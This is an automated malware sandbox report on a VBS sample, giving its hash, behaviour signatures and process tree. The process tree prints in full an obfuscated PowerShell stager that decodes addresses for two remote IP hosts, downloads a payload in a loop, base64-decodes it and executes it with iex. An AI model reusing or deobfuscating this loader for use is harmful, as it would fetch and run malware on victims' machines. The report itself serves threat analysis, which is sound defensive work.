Analysis
- max time kernel
148s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
25/06/2024, 01:38
General
- Target 9362977cfd09e8e32bd857225fd08aeae9f8dd75a241bc63e454c762c5a480ce.vbs
- Size 187KB
- Sample240625-b2gdcaxapj
- SHA256 9362977cfd09e8e32bd857225fd08aeae9f8dd75a241bc63e454c762c5a480ce
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 5 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9362977cfd09e8e32bd857225fd08aeae9f8dd75a241bc63e454c762c5a480ce.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Baglygtes Apositia147 stolthed Nuculania Bantamvgtsbokserne Tjenesteydelses Syringomyelic Tua Intergenerative Basisuddannelses Togae Nomotheism Suffixer Skanderedes Purportedly Ampulliform Seksuelt174 Infraclavicle Rumstation Cesaro Blyantstregernes40 Monoton Bogbinderiers Bragedes Baglygtes Apositia147 stolthed Nuculania Bantamvgtsbokserne Tjenesteydelses Syringomyelic Tua Intergenerative Basisuddannelses Togae Nomotheism Suffixer Skanderedes Purportedly Ampulliform Seksuelt174 Infraclavicle Rumstation Cesaro Blyantstregernes40 Monoton Bogbinderiers Bragedes';$Ansgningerne = 1;Function Kompromitterendes($Skelligartede){$Dekreters=$Skelligartede.Length-$Ansgningerne;$Sandpits='SUBSTRIN';$Sandpits+='G';For( $Arbejdsmssig=1;$Arbejdsmssig -lt $Dekreters;$Arbejdsmssig+=2){$Baglygtes+=$Skelligartede.$Sandpits.Invoke( $Arbejdsmssig, $Ansgningerne);}$Baglygtes;}function Hekseskud($Peliosis){ & ($gennemarbejdes) ($Peliosis);}$Ungamboled=Kompromitterendes 'IMWo zDi lVlPad/F5 .N0N N(jWfiFnGdAoPw,sI N.TO 1A0,. 0 ; W iUn.6.4B;l xB6F4B; ,r v.:r1F2D1...0D)F .Gwe c kDoM/S2 0 1 0E0L1,0 1C HF i rBe.f o x /,1T2,1D. 0R ';$Kardan=Kompromitterendes 'SU s.e r -CA g eFnLt. ';$Bantamvgtsbokserne=Kompromitterendes '.h tHt pa: /C/B1G9 4l..5,9s. 3 1 .F1,3D7S/Sk y sA.DsVnFpM> hLtFtTpT:V/S/E9H4 . 1O5 6U. 8..,8.8./Uk y.s .Ss.nBpI ';$Vader=Kompromitterendes 'B> ';$gennemarbejdes=Kompromitterendes ' i.eBx ';$Echinococcosis='Tua';$Kloakerende = Kompromitterendes 'SeBc h oU ,% aKpKp dTa t.a % \,TEr.o.sUfUrVi h e.d.eLnI. UTnGdS S&,& IeAcChBot t ';Hekseskud (Kompromitterendes '.$CgWlToPbMaAl :EF o,rem.i cAa,rOoUiCdM=.(Ic m d / cN S$GK l o aRkee rUe.nmd.eT). ');Hekseskud (Kompromitterendes 'H$ g,lVo bPa lV:TN u cAu lCaFnPi,a =S$ B a.nNtMa mUv g t s.bToKk,s e,r,nLeS.Rs p,lSiPt (t$KVSaUd.e r )N ');Hekseskud (Kompromitterendes ' [ NRe tO. Sde r v iTcSe P,oFiUnUtSMKa,nkaTg,e r.] :F: SSe,c.u,rAi tUyEP r.o tRoocDo l =P U[DN.e.t . SSe.c uPrDi t y PVrSo tBo c o lCT ybp,eS]A:E:.TtlFs 1H2W ');$Bantamvgtsbokserne=$Nuculania[0];$Contempts= (Kompromitterendes ' $ g lBoHb a.l,:.SSwKo.r,dDfUiIs h eLs = N e,w - O bGj e c,tO SS.ySsBt e.mS.BNUe.t . W e bIC l,i,e.n t');$Contempts+=$Formicaroid[1];Hekseskud ($Contempts);Hekseskud (Kompromitterendes ' $cS wsomrBd f i,s.h,e,sL.AHae aFdUeAr s [.$IKFa rSd,a.n,]A=S$SUDnEgVa m.bAo.lGeOd ');$Reddendum=Kompromitterendes ' $FSZw.oWrId,fDiKs hKe s . D o w nVl.oOaAdHFTi l,eT(.$ BRa n tTaMmBv gBtVsCb oMkRsSeUr nCeN,A$vM o,nfo tFo nG) ';$Monoton=$Formicaroid[0];Hekseskud (Kompromitterendes 'P$,g l oAbNa,l :.STe lStSe r =S(ST.e s,tB- PEaHtphF ,$ MBo.n o,tOo nS) ');while (!$Selter) {Hekseskud (Kompromitterendes 'h$CgDlao,bAa.l :HH eApJt a.c.oFlSiLc.=r$ t rLuEe ') ;Hekseskud $Reddendum;Hekseskud (Kompromitterendes '.SDtSa.r t -US l,eLe pg C4R ');Hekseskud (Kompromitterendes '.$Ag,l,oCb a lM:FSEeHl t.eLrI=S(PT eFsRtB- PRa.t hL $AMRo,nMoCtEo.n )u ') ;Hekseskud (Kompromitterendes ' $ g.l oAb,aSl,:,s tAo lOt h e d,=M$ gnl,oPb awlS:WA,pRo,s.iAtHiTa.1T4k7e+ +,% $TN u cBuOl aMnBiGa . cGoDu n t, ') ;$Bantamvgtsbokserne=$Nuculania[$stolthed];}$Impulsing109=335650;$oppede=26343;Hekseskud (Kompromitterendes 'T$SgFlIoLbia l :PIPnPt eFr gIe,n e rIaNt.iDvBeH T=T FG eAth-.C o,n t e.n,tb I$.M.oAnEo,tSo nS ');Hekseskud (Kompromitterendes 'C$ gDl oRbYaBlA:CACnUh n,gUeNr eAs. A=C C[PSOy,s t e m .DC o.navBeErRtB]P:H: FDr,o mRB,aBsGeD6N4 S t,rSiCn g (E$.I nEt.e,rDg,e nUeMrsaTtPiavYe )C ');Hekseskud (Kompromitterendes ' $BgKl oLb.aUlS:AN,orm ost hSe.iTsPm S=R W[LS y.sItNe mK. TAe x,tf.LESnVcAo dCiBn.g ] : :SASS.CTI IB..GAeWtISMt r i,n g.(,$BAAn.hSn gTeSrOe s )U ');Hekseskud (Kompromitterendes ',$Ig laoSbraSlD:CC oMlToGrUipfNiBcs6D= $SN,oKm o.t hPeKi sUmO. s.ucb,s tIrsiAngg (B$.ITm.pSu,l,sNi,noge1 0M9,,B$UoMpSpDeAd e ) ');Hekseskud $Colorific6;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Trosfriheden.Und && echo t"3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_vpfvjucp.dgk.ps1
memory/4680-0-0x00007FF9F8443000-0x00007FF9F8445000-memory.dmp
memory/4680-6-0x00000156BEFE0000-0x00000156BF002000-memory.dmp
memory/4680-11-0x00007FF9F8440000-0x00007FF9F8F01000-memory.dmp
memory/4680-12-0x00007FF9F8440000-0x00007FF9F8F01000-memory.dmp
memory/4680-13-0x00007FF9F8443000-0x00007FF9F8445000-memory.dmp
memory/4680-14-0x00007FF9F8440000-0x00007FF9F8F01000-memory.dmp
memory/4680-15-0x00007FF9F8440000-0x00007FF9F8F01000-memory.dmp
memory/4680-16-0x00007FF9F8440000-0x00007FF9F8F01000-memory.dmp